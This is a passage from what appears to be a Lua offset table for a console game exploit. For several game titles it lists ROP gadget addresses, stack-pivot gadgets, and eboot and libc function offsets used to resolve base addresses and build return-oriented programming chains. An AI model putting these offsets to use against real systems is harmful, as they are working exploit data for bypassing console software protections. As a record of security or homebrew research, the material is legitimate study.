0x3f3647, 111 | ["pop rdi; ret"] = 0x1081c0, 112 | ["pop rsi; ret"] = 0x10ef32, 113 | ["pop r8; ret"] = 0x9f1, 114 | ["mov r9, rbx; call [rax + 8]"] = 0x1511ff, 115 | 116 | ["mov [rax + 8], rcx; ret"] = 0x13c4fa, 117 | ["mov [rax + 0x28], rdx; ret"] = 0x14f43f, 118 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd753e, 119 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x11d452, 120 | ["add rax, r8; ret"] = 0xa7a3, 121 | 122 | ["mov [rdi], rsi; ret"] = 0xd76ff, 123 | ["mov [rdi], rax; ret"] = 0x994cb, 124 | ["mov [rdi], eax; ret"] = 0x994cc, 125 | ["add [rbx], eax; ret"] = nil, 126 | ["add [rbx], ecx; ret"] = 0x44093b, 127 | ["mov rax, [rax]; ret"] = 0x2008b, 128 | ["inc dword [rax]; ret"] = 0x1a82cb, 129 | 130 | -- branching specific gadgets 131 | ["cmp [rax], ebx; ret"] = 0x40ec68, 132 | ["sete al; ret"] = 0x55747, 133 | ["setne al; ret"] = 0x50f, 134 | ["seta al; ret"] = 0x16dbce, 135 | ["setb al; ret"] = 0x608f4, 136 | ["setg al; ret"] = nil, 137 | ["setl al; ret"] = 0xd1a6a, 138 | ["shl rax, cl; ret"] = 0xdbf31, 139 | ["add rax, rcx; ret"] = 0x35afe, 140 | 141 | stack_pivot = { 142 | ["mov esp, 0xfb0000bd; ret"] = 0x3bca94, -- crash handler 143 | ["mov esp, 0xf00000b9; ret"] = 0x3c27dc, -- native handler 144 | } 145 | }, 146 | eboot_addrofs = { 147 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 148 | luaB_auxwrap = 0x1aeb90, -- to resolve eboot base 149 | longjmp_import = 0x6193e8, -- to resolve libc base 150 | 151 | luaL_optinteger = 0x1ac580, 152 | luaL_checklstring = 0x1ac170, 153 | lua_pushlstring = 0x1aa260, 154 | lua_pushinteger = 0x1aa240, 155 | 156 | luaL_newstate = 0x1ad4b0, 157 | luaL_openlibs = 0x1b7680, 158 | lua_setfield = 0x1aad30, 159 | luaL_loadstring = 0x1ad440, 160 | lua_pcall = 0x1ab3d0, 161 | lua_pushcclosure = 0x1aa470, 162 | lua_tolstring = 0x1a9970, 163 | lua_pushstring = 0x1aa2c0, 164 | }, 165 | libc_addrofs = { 166 | calloc = 0x57e00, 167 | memcpy = 0x4df50, 168 | setjmp = 0xb5630, 169 | longjmp = 0xb5680, 170 | strerror = 0x42540, 171 | error = 0x168, 172 | sceKernelGetModuleInfoFromAddr = 0x198, 173 | gettimeofday_import = 0x204060, -- syscall wrapper 174 | 175 | Thrd_join = 0x57260, 176 | Thrd_exit = 0x572e0, 177 | Thrd_create = 0x573f0, 178 | 179 | Mtx_init = 0x57670, 180 | Mtx_lock = 0x57700, 181 | Mtx_unlock = 0x576F0, 182 | 183 | Atomic_fetch_add_8 = 0x43900, 184 | } 185 | }, 186 | aikagi_2 = { 187 | gadgets = { 188 | ["ret"] = 0x4c, 189 | 190 | ["pop rsp; ret"] = 0xa02, 191 | ["pop rbp; ret"] = 0x79, 192 | ["pop rax; ret"] = 0x9f2, 193 | ["pop rbx; ret"] = 0x5d436, 194 | ["pop rcx; ret"] = 0x143af, 195 | ["pop rdx; ret"] = 0x3d20e7, 196 | ["pop rdi; ret"] = 0xcd77e, 197 | ["pop rsi; ret"] = 0x10d92d, 198 | ["pop r8; ret"] = 0x9f1, 199 | ["mov r9, rbx; call [rax + 8]"] = nil, 200 | ["pop r13; pop r14; pop r15; ret"] = 0x1150f3, 201 | ["mov r9, r13; call [rax + 8]"] = 0x13b504, 202 | 203 | ["mov [rax + 8], rcx; ret"] = 0x13b48a, 204 | ["mov [rax + 0x28], rdx; ret"] = 0x14e21f, 205 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd6a8e, 206 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x11bea2, 207 | ["add rax, r8; ret"] = 0xa083, 208 | 209 | ["mov [rdi], rsi; ret"] = 0xd6c4f, 210 | ["mov [rdi], rax; ret"] = 0x95bbb, 211 | ["mov [rdi], eax; ret"] = 0x95bbc, 212 | ["add [rbx], eax; ret"] = nil, 213 | ["add [rbx], ecx; ret"] = nil, 214 | ["add [rbx], edi; ret"] = 0x3eb1d3, 215 | ["mov rax, [rax]; ret"] = 0x1fcdb, 216 | ["inc dword [rax]; ret"] = 0x1a694b, 217 | 218 | -- branching specific gadgets 219 | ["cmp [rax], ebx; ret"] = 0x3ed708, 220 | ["sete al; ret"] = 0x52d27, 221 | ["setne al; ret"] = 0x50f, 222 | ["seta al; ret"] = 0x16c67e, 223 | ["setb al; ret"] = 0x5d4b4, 224 | ["setg al; ret"] = nil, 225 | ["setl al; ret"] = 0xd103a, 226 | ["shl rax, cl; ret"] = 0xdb312, 227 | ["add rax, rcx; ret"] = 0x3582e, 228 | 229 | stack_pivot = { 230 | ["mov esp, 0xfb0000bd; ret"] = 0x39b744, -- crash handler 231 | ["mov esp, 0xf00000b9; ret"] = 0x3a148c, -- native handler 232 | } 233 | }, 234 | eboot_addrofs = { 235 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 236 | luaB_auxwrap = 0x1ad170, -- to resolve eboot base 237 | longjmp_import = 0x619160, -- to resolve libc base 238 | 239 | luaL_optinteger = 0x1aaba0, 240 | luaL_checklstring = 0x1aa790, 241 | lua_pushlstring = 0x1a88b0, 242 | lua_pushinteger = 0x1a8890, 243 | 244 | luaL_newstate = 0x1abab0, 245 | luaL_openlibs = 0x1b5b00, 246 | lua_setfield = 0x1a9370, 247 | luaL_loadstring = 0x1aba40, 248 | lua_pcall = 0x1a9a00, 249 | lua_pushcclosure = 0x1a8ac0, 250 | lua_tolstring = 0x1a7fc0, 251 | lua_pushstring = 0x1a8910, 252 | }, 253 | libc_addrofs = { 254 | calloc = 0x4e910, 255 | memcpy = 0x44150, 256 | setjmp = 0xb35f0, 257 | longjmp = 0xb3640, 258 | strerror = 0x38340, 259 | error = 0x168, 260 | sceKernelGetModuleInfoFromAddr = 0x198, 261 | gettimeofday_import = 0x11ba28, -- syscall wrapper 262 | 263 | Thrd_join = 0x4dd20, 264 | Thrd_exit = 0x4dda0, 265 | Thrd_create = 0x4df20, 266 | 267 | Mtx_init = 0x4e1a0, 268 | Mtx_lock = 0x4e230, 269 | Mtx_unlock = 0x4e220, 270 | 271 | Atomic_fetch_add_8 = 0x39800, 272 | } 273 | }, 274 | hamidashi_creative = { 275 | gadgets = { 276 | ["ret"] = 0x42, 277 | 278 | ["pop rsp; ret"] = 0x9a2, 279 | ["pop rbp; ret"] = 0x79, 280 | ["pop rax; ret"] = 0x992, 281 | ["pop rbx; ret"] = 0x5b6e8, 282 | ["pop rcx; ret"] = 0xe64, 283 | ["pop rdx; ret"] = 0x3b02d7, 284 | ["pop rdi; ret"] = 0xc9dfe, 285 | ["pop rsi; ret"] = 0xd77d, 286 | ["pop r8; ret"] = 0x991, 287 | ["mov r9, rbx; call [rax + 8]"] = nil, 288 | ["pop r13; pop r14; pop r15; ret"] = 0x141fc7, 289 | ["mov r9, r13; call [rax + 8]"] = 0x136970, 290 | 291 | ["mov [rax + 8], rcx; ret"] = 0x1368da, 292 | ["mov [rax + 0x28], rdx; ret"] = 0x14967f, 293 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd30ae, 294 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x117882, 295 | ["add rax, r8; ret"] = 0x9de0, 296 | 297 | ["mov [rdi], rsi; ret"] = 0xd326f, 298 | ["mov [rdi], rax; ret"] = 0x92c67, 299 | ["mov [rdi], eax; ret"] = 0x92c68, 300 | ["add [rbx], eax; ret"] = nil, 301 | ["add [rbx], ecx; ret"] = nil, 302 | ["add [rbx], edi; ret"] = 0x3c95f3, 303 | ["mov rax, [rax]; ret"] = 0x1eebb, 304 | ["inc dword [rax]; ret"] = 0x1a0acb, 305 | 306 | -- branching specific gadgets 307 | ["cmp [rax], ebx; ret"] = 0x3cbb08, 308 | ["sete al; ret"] = 0x51367, 309 | ["setne al; ret"] = 0x4bf, 310 | ["seta al; ret"] = 0x16742e, 311 | ["setb al; ret"] = 0x5b763, 312 | ["setg al; ret"] = nil, 313 | ["setl al; ret"] = 0xcd74a, 314 | ["shl rax, cl; ret"] = 0xd7885, 315 | ["add rax, rcx; ret"] = 0x347ae, 316 | 317 | stack_pivot = { 318 | ["mov esp, 0xfb0000bd; ret"] = 0x3798f4, -- crash handler 319 | ["mov esp, 0xf00000b9; ret"] = 0x37f63c, -- native handler 320 | } 321 | }, 322 | eboot_addrofs = { 323 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 324 | luaB_auxwrap = 0x1a7420, -- to resolve eboot base 325 | longjmp_import = 0x6168c0, -- to resolve libc base 326 | 327 | luaL_optinteger = 0x1a4d80, 328 | luaL_checklstring = 0x1a4970, 329 | lua_pushlstring = 0x1a2a50, 330 | lua_pushinteger = 0x1a2a30, 331 | 332 | luaL_newstate = 0x1a5d40, 333 | luaL_openlibs = 0x1afdf0, 334 | lua_setfield = 0x1a3530, 335 | luaL_loadstring = 0x1a5cd0, 336 | lua_pcall = 0x1a3bc0, 337 | lua_pushcclosure = 0x1a2c60, 338 | lua_tolstring = 0x1a21b0, 339 | lua_pushstring = 0x1a2ab0, 340 | }, 341 | libc_addrofs = { 342 | calloc = 0x4cdb0, 343 | memcpy = 0x42410, 344 | setjmp = 0xb0020, 345 | longjmp = 0xb0070, 346 | strerror = 0x366e0, 347 | error = 0x168, 348 | sceKernelGetModuleInfoFromAddr = 0x198, 349 | gettimeofday_import = 0x1179a8, -- syscall wrapper 350 | 351 | Thrd_join = 0x4c1c0, 352 | Thrd_exit = 0x4c240, 353 | Thrd_create = 0x4c3c0, 354 | 355 | Mtx_init = 0x4c650, 356 | Mtx_lock = 0x4c6f0, 357 | Mtx_unlock = 0x4c6e0, 358 | 359 | Atomic_fetch_add_8 = 0x37bf0, 360 | } 361 | }, 362 | aikagi_kimi_isshoni_pack = { 363 | gadgets = { 364 | ["ret"] = 0x4c, 365 | 366 | ["pop rsp; ret"] = 0xa12, 367 | ["pop rbp; ret"] = 0x79, 368 | ["pop rax; ret"] = 0xa02, 369 | ["pop rbx; ret"] = 0x5d726, 370 | ["pop rcx; ret"] = 0x147cf, 371 | ["pop rdx; ret"] = 0x3cb8b7, 372 | ["pop rdi; ret"] = 0x51c7d, 373 | ["pop rsi; ret"] = 0xd2230, 374 | ["pop r8; ret"] = 0xa01, 375 | ["mov r9, rbx; call [rax + 8]"] = 0x14a3c0, 376 | 377 | ["mov [rax + 8], rcx; ret"] = 0x13550a, 378 | ["mov [rax + 0x28], rdx; ret"] = 0x1485bf, 379 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd05de, 380 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x1161b2, 381 | ["add rax, r8; ret"] = 0xa893, 382 | 383 | ["mov [rdi], rsi; ret"] = 0xd079f, 384 | ["mov [rdi], rax; ret"] = 0x94c4b, 385 | ["mov [rdi], eax; ret"] = 0x94c4c, 386 | ["add [rbx], eax; ret"] = 0x407a23, 387 | ["add [rbx], ecx; ret"] = nil, 388 | ["add [rbx], edi; ret"] = 0x3e4a43, 389 | ["mov rax, [rax]; ret"] = 0x1fd5b, 390 | ["inc dword [rax]; ret"] = 0x1a0d0b, 391 | 392 | -- branching specific gadgets 393 | ["cmp [rax], ebx; ret"] = 0x3e6f28, 394 | ["sete al; ret"] = 0x53307, 395 | ["setne al; ret"] = 0x556, 396 | ["seta al; ret"] = 0x1669ee, 397 | ["setb al; ret"] = 0x5d7a4, 398 | ["setg al; ret"] = nil, 399 | ["setl al; ret"] = 0xcaafa, 400 | ["shl rax, cl; ret"] = 0xd5031, 401 | ["add rax, rcx; ret"] = 0x34efe, 402 | 403 | stack_pivot = { 404 | ["mov esp, 0xfb0000bd; ret"] = 0x394c54, -- crash handler 405 | ["mov esp, 0xf00000b9; ret"] = 0x39a99c, -- native handler 406 | } 407 | }, 408 | eboot_addrofs = { 409 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 410 | luaB_auxwrap = 0x1a75d0, -- to resolve eboot base 411 | longjmp_import = 0x619388, -- to resolve libc base 412 | 413 | luaL_optinteger = 0x1a4fb0, 414 | luaL_checklstring = 0x1a4ba0, 415 | lua_pushlstring = 0x1a2ca0, 416 | lua_pushinteger = 0x1a2c80, 417 | 418 | luaL_newstate = 0x1a5ef0, 419 | luaL_openlibs = 0x1b0100, 420 | lua_setfield = 0x1a3760, 421 | luaL_loadstring = 0x1a5e80, 422 | lua_pcall = 0x1a3e00, 423 | lua_pushcclosure = 0x1a2eb0, 424 | lua_tolstring = 0x1a23b0, 425 | lua_pushstring = 0x1a2d00, 426 | }, 427 | libc_addrofs = { 428 | calloc = 0x58a50, 429 | memcpy = 0x4e9d0, 430 | setjmp = 0xb6860, 431 | longjmp = 0xb68b0, 432 | strerror = 0x42e40, 433 | error = 0x178, 434 | sceKernelGetModuleInfoFromAddr = 0x1a8, 435 | gettimeofday_import = 0x11c010, -- syscall wrapper 436 | 437 | Thrd_join = 0x57ed0, 438 | Thrd_exit = 0x57f50, 439 | Thrd_create = 0x58060, 440 | 441 | Mtx_init = 0x582e0, 442 | Mtx_lock = 0x58370, 443 | Mtx_unlock = 0x58360, 444 | 445 | Atomic_fetch_add_8 = 0x44240, 446 | } 447 | }, 448 | -- not supporting new mov r9, consider dropping 449 | c = { 450 | gadgets = { 451 | ["ret"] = 0x4c, 452 | 453 | ["pop rsp; ret"] = 0x972, 454 | ["pop rbp; ret"] = 0x79, 455 | ["pop rax; ret"] = 0x962, 456 | ["pop rbx; ret"] = 0x3f311, 457 | ["pop rcx; ret"] = 0xc35, 458 | ["pop rdx; ret"] = 0x3066e2, 459 | ["pop rdi; ret"] = 0x107550, 460 | ["pop rsi; ret"] = 0xfcd16, 461 | ["pop r8; ret"] = 0x961, 462 | ["mov r9, rbx; call [rax + 8]"] = 0x145f20, 463 | 464 | ["mov [rax + 8], rcx; ret"] = 0x12c5ff, 465 | ["mov [rax + 0x28], rdx; ret"] = 0x14439f, 466 | ["mov [rcx + 0xa0], rdi; ret"] = 0xcbc3e, 467 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = nil, 468 | ["add rax, r8; ret"] = 0x116d16, 469 | 470 | ["mov [rdi], rsi; ret"] = 0xcbe0f, 471 | ["mov [rdi], rax; ret"] = 0xa16b, 472 | ["mov [rdi], eax; ret"] = 0xa16c, 473 | ["add [rbx], eax; ret"] = 0x405d0b, 474 | ["add [rbx], ecx; ret"] = nil, 475 | ["add [rbx], edi; ret"] = 0x3e2e53, 476 | ["mov rax, [rax]; ret"] = 0x1e55b, 477 | ["inc dword [rax]; ret"] = 0x18ecbb, 478 | 479 | -- branching specific gadgets 480 | ["cmp [rax], ebx; ret"] = 0x3e5358, 481 | ["sete al; ret"] = 0x55bc5, 482 | ["setne al; ret"] = 0x1c58e, 483 | ["seta al; ret"] = 0x16187e, 484 | ["setb al; ret"] = 0x55be4, 485 | ["setg al; ret"] = nil, 486 | ["setl al; ret"] = 0xc600a, 487 | ["shl rax, cl; ret"] = 0xd0623, 488 | ["add rax, rcx; ret"] = 0x102341, 489 | 490 | stack_pivot = { 491 | ["mov esp, 0xfb0000bd; ret"] = 0x3925e4, -- crash handler 492 | ["mov esp, 0xf00000b9; ret"] = 0x39832c, -- native handler 493 | } 494 | }, 495 | eboot_addrofs = { 496 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 497 | luaB_auxwrap = 0x195280, -- to resolve eboot base 498 | longjmp_import = 0x4caf88, -- to resolve libc base 499 | 500 | luaL_optinteger = 0x192cc0, 501 | luaL_checklstring = 0x1928b0, 502 | lua_pushlstring = 0x190a20, 503 | lua_pushinteger = 0x190a00, 504 | 505 | luaL_newstate = 0x193bd0, 506 | luaL_openlibs = 0x19ce50, 507 | lua_setfield = 0x1914f0, 508 | luaL_loadstring = 0x193b60, 509 | lua_pcall = 0x191b80, 510 | lua_pushcclosure = 0x190c30, 511 | lua_tolstring = 0x190220, 512 | lua_pushstring = 0x190a80, 513 | }, 514 | libc_addrofs = { 515 | calloc = 0x5e2e0, 516 | memcpy = 0x54a60, 517 | setjmp = 0x74ad0, 518 | longjmp = 0x71b20, 519 | strerror = 0x49020, 520 | error = 0x148, 521 | sceKernelGetModuleInfoFromAddr = 0x548, 522 | gettimeofday_import = 0xdbd60, -- syscall wrapper 523 | 524 | Thrd_join = 0x5da90, 525 | Thrd_exit = 0x5db10, 526 | Thrd_create = 0x5dc20, 527 | 528 | Mtx_init = 0x43cf0, 529 | Mtx_lock = 0x43e10, 530 | Mtx_unlock = 0x43db0, 531 | 532 | Atomic_fetch_add_8 = 0x4a340, 533 | } 534 | }, 535 | e = { 536 | gadgets = { 537 | ["ret"] = 0x4c, 538 | 539 | ["pop rsp; ret"] = 0x932, 540 | ["pop rbp; ret"] = 0x79, 541 | ["pop rax; ret"] = 0x922, 542 | ["pop rbx; ret"] = 0xd16f5, 543 | ["pop rcx; ret"] = 0xc15, 544 | ["pop rdx; ret"] = 0x194902, 545 | ["pop rdi; ret"] = 0xd74c2, 546 | ["pop rsi; ret"] = 0xe4b04, 547 | ["pop r8; ret"] = 0x921, 548 | ["mov r9, rbx; call [rax + 8]"] = 0x14f760, 549 | 550 | ["mov [rax + 8], rcx; ret"] = 0x13b120, 551 | ["mov [rax + 0x28], rdx; ret"] = 0x14d97f, 552 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd575e, 553 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x11c2c2, 554 | ["add rax, r8; ret"] = 0x125b56, 555 | 556 | ["mov [rdi], rsi; ret"] = 0xd592f, 557 | ["mov [rdi], rax; ret"] = 0xa42b, 558 | ["mov [rdi], eax; ret"] = 0xa42c, 559 | ["add [rbx], eax; ret"] = 0x42a0db, 560 | ["add [rbx], ecx; ret"] = nil, 561 | ["add [rbx], edi; ret"] = 0x408943, 562 | ["mov rax, [rax]; ret"] = 0x201cb, 563 | ["inc dword [rax]; ret"] = 0x198dbb, 564 | 565 | -- branching specific gadgets 566 | ["cmp [rax], ebx; ret"] = 0x40ae28, 567 | ["sete al; ret"] = 0x5e635, 568 | ["setne al; ret"] = 0x1e39e, 569 | ["seta al; ret"] = 0x16af0e, 570 | ["setb al; ret"] = 0x5e654, 571 | ["setg al; ret"] = nil, 572 | ["setl al; ret"] = 0xcfc4a, 573 | ["shl rax, cl; ret"] = 0xda391, 574 | ["add rax, rcx; ret"] = 0x355ce, 575 | 576 | stack_pivot = { 577 | ["mov esp, 0xfb0000bd; ret"] = 0x3b8784, -- crash handler 578 | ["mov esp, 0xf00000b9; ret"] = 0x3be4cc, -- native handler 579 | } 580 | }, 581 | eboot_addrofs = { 582 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 583 | luaB_auxwrap = 0x19f600, -- to resolve eboot base 584 | longjmp_import = 0x4f3ac0, -- to resolve libc base 585 | 586 | luaL_optinteger = 0x19d010, 587 | luaL_checklstring = 0x19cc00, 588 | lua_pushlstring = 0x19ad00, 589 | lua_pushinteger = 0x19ace0, 590 | 591 | luaL_newstate = 0x19df60, 592 | luaL_openlibs = 0x1a7960, 593 | lua_setfield = 0x19b7c0, 594 | luaL_loadstring = 0x19def0, 595 | lua_pcall = 0x19be60, 596 | lua_pushcclosure = 0x19af10, 597 | lua_tolstring = 0x19a440, 598 | lua_pushstring = 0x19ad60, 599 | }, 600 | libc_addrofs = { 601 | calloc = 0x22090, 602 | memcpy = 0x18590, 603 | setjmp = 0x7f660, 604 | longjmp = 0x7f6b0, 605 | strerror = 0xcda0, 606 | error = 0x138, 607 | sceKernelGetModuleInfoFromAddr = 0x568, 608 | gettimeofday_import = 0xefd10, -- syscall wrapper 609 | 610 | Thrd_join = 0x21520, 611 | Thrd_exit = 0x215a0, 612 | Thrd_create = 0x216b0, 613 | 614 | Mtx_init = 0x21940, 615 | Mtx_lock = 0x219d0, 616 | Mtx_unlock = 0x219c0, 617 | 618 | Atomic_fetch_add_8 = 0xe0c0, 619 | } 620 | }, 621 | ixshe_tell = { 622 | gadgets = { 623 | ["ret"] = 0x4c, 624 | 625 | ["pop rsp; ret"] = 0xa02, 626 | ["pop rbp; ret"] = 0x79, 627 | ["pop rax; ret"] = 0x9f2, 628 | ["pop rbx; ret"] = 0x608b6, 629 | ["pop rcx; ret"] = 0x14a7f, 630 | ["pop rdx; ret"] = 0x3f3ce7, 631 | ["pop rdi; ret"] = 0x899fb, 632 | ["pop rsi; ret"] = 0x10f122, 633 | ["pop r8; ret"] = 0x9f1, 634 | ["mov r9, rbx; call [rax + 8]"] = 0x1513ef, 635 | 636 | ["mov [rax + 8], rcx; ret"] = 0x13c6ea, 637 | ["mov [rax + 0x28], rdx; ret"] = 0x14f62f, 638 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd772e, 639 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x11d642, 640 | ["add rax, r8; ret"] = 0xa7a3, 641 | 642 | ["mov [rdi], rsi; ret"] = 0xd78ef, 643 | ["mov [rdi], rax; ret"] = 0x996bb, 644 | ["mov [rdi], eax; ret"] = 0x996bc, 645 | ["add [rbx], eax; ret"] = nil, 646 | ["add [rbx], ecx; ret"] = 0x44107f, 647 | ["add [rbx], edi; ret"] = 0x40cde3, 648 | ["mov rax, [rax]; ret"] = 0x2008b, 649 | ["inc dword [rax]; ret"] = 0x1a84bb, 650 | 651 | -- branching specific gadgets 652 | ["cmp [rax], ebx; ret"] = 0x40f308, 653 | ["sete al; ret"] = 0x55787, 654 | ["setne al; ret"] = 0x50f, 655 | ["seta al; ret"] = 0x16ddbe, 656 | ["setb al; ret"] = 0x60934, 657 | ["setg al; ret"] = nil, 658 | ["setl al; ret"] = 0xd1c5a, 659 | ["shl rax, cl; ret"] = 0xdc121, 660 | ["add rax, rcx; ret"] = 0x35afe, 661 | 662 | stack_pivot = { 663 | ["mov esp, 0xfb0000bd; ret"] = 0x3bd134, -- crash handler 664 | ["mov esp, 0xf00000b9; ret"] = 0x3c2e7c, -- native handler 665 | } 666 | }, 667 | eboot_addrofs = { 668 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 669 | luaB_auxwrap = 0x1aed80, -- to resolve eboot base 670 | longjmp_import = 0x6193e8, -- to resolve libc base 671 | 672 | luaL_optinteger = 0x1ac770, 673 | luaL_checklstring = 0x1ac360, 674 | lua_pushlstring = 0x1aa450, 675 | lua_pushinteger = 0x1aa430, 676 | 677 | luaL_newstate = 0x1ad6a0, 678 | luaL_openlibs = 0x1b7870, 679 | lua_setfield = 0x1aaf20, 680 | luaL_loadstring = 0x1ad630, 681 | lua_pcall = 0x1ab5c0, 682 | lua_pushcclosure = 0x1aa660, 683 | lua_tolstring = 0x1a9b60, 684 | lua_pushstring = 0x1aa4b0, 685 | }, 686 | libc_addrofs = { 687 | calloc = 0x57e00, 688 | memcpy = 0x4df50, 689 | setjmp = 0xb5630, 690 | longjmp = 0xb5680, 691 | strerror = 0x42540, 692 | error = 0x168, 693 | sceKernelGetModuleInfoFromAddr = 0x198, 694 | gettimeofday_import = 0x204060, -- syscall wrapper 695 | 696 | Thrd_join = 0x57260, 697 | Thrd_exit = 0x572e0, 698 | Thrd_create = 0x573f0, 699 | 700 | Mtx_init = 0x57670, 701 | Mtx_lock = 0x57700, 702 | Mtx_unlock = 0x576f0, 703 | 704 | Atomic_fetch_add_8 = 0x43900, 705 | } 706 | }, 707 | nora_princess = { 708 | gadgets = { 709 | ["ret"] = 0x4c, 710 | 711 | ["pop rsp; ret"] = 0x982, 712 | ["pop rbp; ret"] = 0x79, 713 | ["pop rax; ret"] = 0x972, 714 | ["pop rbx; ret"] = 0xd0b25, 715 | ["pop rcx; ret"] = 0xc62, 716 | ["pop rdx; ret"] = 0x249e2, 717 | ["pop rdi; ret"] = 0x509cd, 718 | ["pop rsi; ret"] = 0xe3534, 719 | ["pop r8; ret"] = 0x971, 720 | 721 | ["mov r9, rbx; call [rax + 8]"] = 0x14fc50, 722 | -- or 723 | ["pop r13; pop r14; pop r15; ret"] = 0x114543, 724 | ["mov r9, r13; call [rax + 8]"] = 0x13ae54, 725 | 726 | ["mov [rax + 8], rcx; ret"] = 0x13adda, 727 | ["mov [rax + 0x28], rdx; ret"] = 0x14deaf, 728 | ["mov [rcx + 0xa0], rdi; ret"] = 0xd4afe, 729 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x11b4f2, 730 | ["add rax, r8; ret"] = 0xb423, 731 | 732 | ["mov [rdi], rsi; ret"] = 0xd4ccf, 733 | ["mov [rdi], rax; ret"] = 0x972db, 734 | ["mov [rdi], eax; ret"] = nil, 735 | 736 | ["add [rbx], eax; ret"] = 0x425a3b, 737 | -- or 738 | ["add [rbx], ecx; ret"] = nil, 739 | -- or 740 | ["add [rbx], edi; ret"] = 0x403ad3, 741 | 742 | ["mov rax, [rax]; ret"] = 0x20e3b, 743 | ["inc dword [rax]; ret"] = 0x199d7b, 744 | 745 | -- branching specific gadgets 746 | ["cmp [rax], ebx; ret"] = 0x405fc8, 747 | ["sete al; ret"] = 0x5e495, 748 | ["setne al; ret"] = 0x1f14e, 749 | ["seta al; ret"] = 0x16c0ae, 750 | ["setb al; ret"] = 0x5e4b4, 751 | ["setg al; ret"] = nil, 752 | ["setl al; ret"] = 0xcefda, 753 | ["shl rax, cl; ret"] = 0xd9551, 754 | ["add rax, rcx; ret"] = 0x366ee, 755 | 756 | stack_pivot = { 757 | ["mov esp, 0xfb0000bd; ret"] = 0x3b44d4, -- crash handler 758 | ["mov esp, 0xf00000b9; ret"] = 0x3ba21c, -- native handler 759 | } 760 | }, 761 | eboot_addrofs = { 762 | fake_string = 0x4D8164, -- SCE_RELRO segment, use ptr as size for fake string 763 | luaB_auxwrap = 0x1A0660, -- to resolve eboot base 764 | longjmp_import = 0x4F3C68, -- to resolve libc base 765 | 766 | luaL_optinteger = 0x19E040, 767 | luaL_checklstring = 0x19DC30, 768 | lua_pushlstring = 0x19BD20, 769 | lua_pushinteger = 0x19BD00, 770 | 771 | luaL_newstate = 0x19EF90, 772 | luaL_openlibs = 0x1A8FE0, 773 | lua_setfield = 0x19C7E0, 774 | luaL_loadstring = 0x19EF20, 775 | lua_pcall = 0x19CE80, 776 | lua_pushcclosure = 0x19BF30, 777 | lua_tolstring = 0x19B430, 778 | lua_pushstring = 0x19BD80, 779 | }, 780 | libc_addrofs = { 781 | calloc = 0x22A90, 782 | memcpy = 0x18B90, 783 | setjmp = 0x802A0, 784 | longjmp = 0x802F0, 785 | strerror = 0xCF70, 786 | error = 0x13E, 787 | sceKernelGetModuleInfoFromAddr = 0x568, 788 | gettimeofday_import = 0xEFE20, -- syscall wrapper 789 | 790 | Thrd_join = 0x21F00, 791 | Thrd_exit = 0x21F80, 792 | Thrd_create = 0x22090, 793 | 794 | Mtx_init = 0x22320, 795 | Mtx_lock = 0x223B0, 796 | Mtx_unlock = 0x223A0, 797 | 798 | Atomic_fetch_add_8 = 0xE380, 799 | } 800 | }, 801 | jinki_resurrection = { 802 | gadgets = { 803 | ["ret"] = 0x42, 804 | 805 | ["pop rsp; ret"] = 0x992, 806 | ["pop rbp; ret"] = 0x79, 807 | ["pop rax; ret"] = 0x982, 808 | ["pop rbx; ret"] = 0x5b438, 809 | ["pop rcx; ret"] = 0xeaa, 810 | ["pop rdx; ret"] = 0x57802, 811 | ["pop rdi; ret"] = 0xdcc0e, 812 | ["pop rsi; ret"] = 0xd330, 813 | ["pop r8; ret"] = 0x981, 814 | 815 | ["mov r9, rbx; call [rax + 8]"] = nil, 816 | -- or 817 | ["pop r13; pop r14; pop r15; ret"] = 0x124418, 818 | ["mov r9, r13; call [rax + 8]"] = 0x14A5B0, 819 | 820 | ["mov [rax + 8], rcx; ret"] = 0x14A51A, 821 | ["mov [rax + 0x28], rdx; ret"] = 0x15D52F, 822 | ["mov [rcx + 0xa0], rdi; ret"] = 0xE5FBE, 823 | ["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"] = 0x12B062, 824 | ["add rax, r8; ret"] = 0x9E70, 825 | 826 | ["mov [rdi], rsi; ret"] = 0xE617F, 827 | ["mov [rdi], rax; ret"] = 0xA5C17, 828 | ["mov [rdi], eax; ret"] = 0xA5C18, 829 | 830 | ["add [rbx], eax; ret"] = nil, 831 | -- or 832 | ["add [rbx], ecx; ret"] = nil, 833 | -- or 834 | ["add [rbx], edi; ret"] = 0x482E23, 835 | 836 | ["mov rax, [rax]; ret"] = 0x1E75B, 837 | ["inc dword [rax]; ret"] = 0x1B507B, 838 | 839 | -- branching specific gadgets 840 | ["cmp [rax], ebx; ret"] = 0x485348, 841 | ["sete al; ret"] = 0x51097, 842 | ["setne al; ret"] = 0x4BF, 843 | ["seta al; ret"] = 0x17B56E, 844 | ["setb al; ret"] = 0x5B4B4, 845 | ["setg al; ret"] = nil, 846 | ["setl al; ret"] = 0xE055A, 847 | ["shl rax, cl; ret"] = 0xEA805, 848 | ["add rax, rcx; ret"] = 0x3407E, 849 | 850 | stack_pivot = { 851 | ["mov esp, 0xfb0000bd; ret"] = 0x433174, -- crash handler 852 | ["mov esp, 0xf00000b9; ret"] = 0x438EBC, -- native handler 853 | } 854 | }, 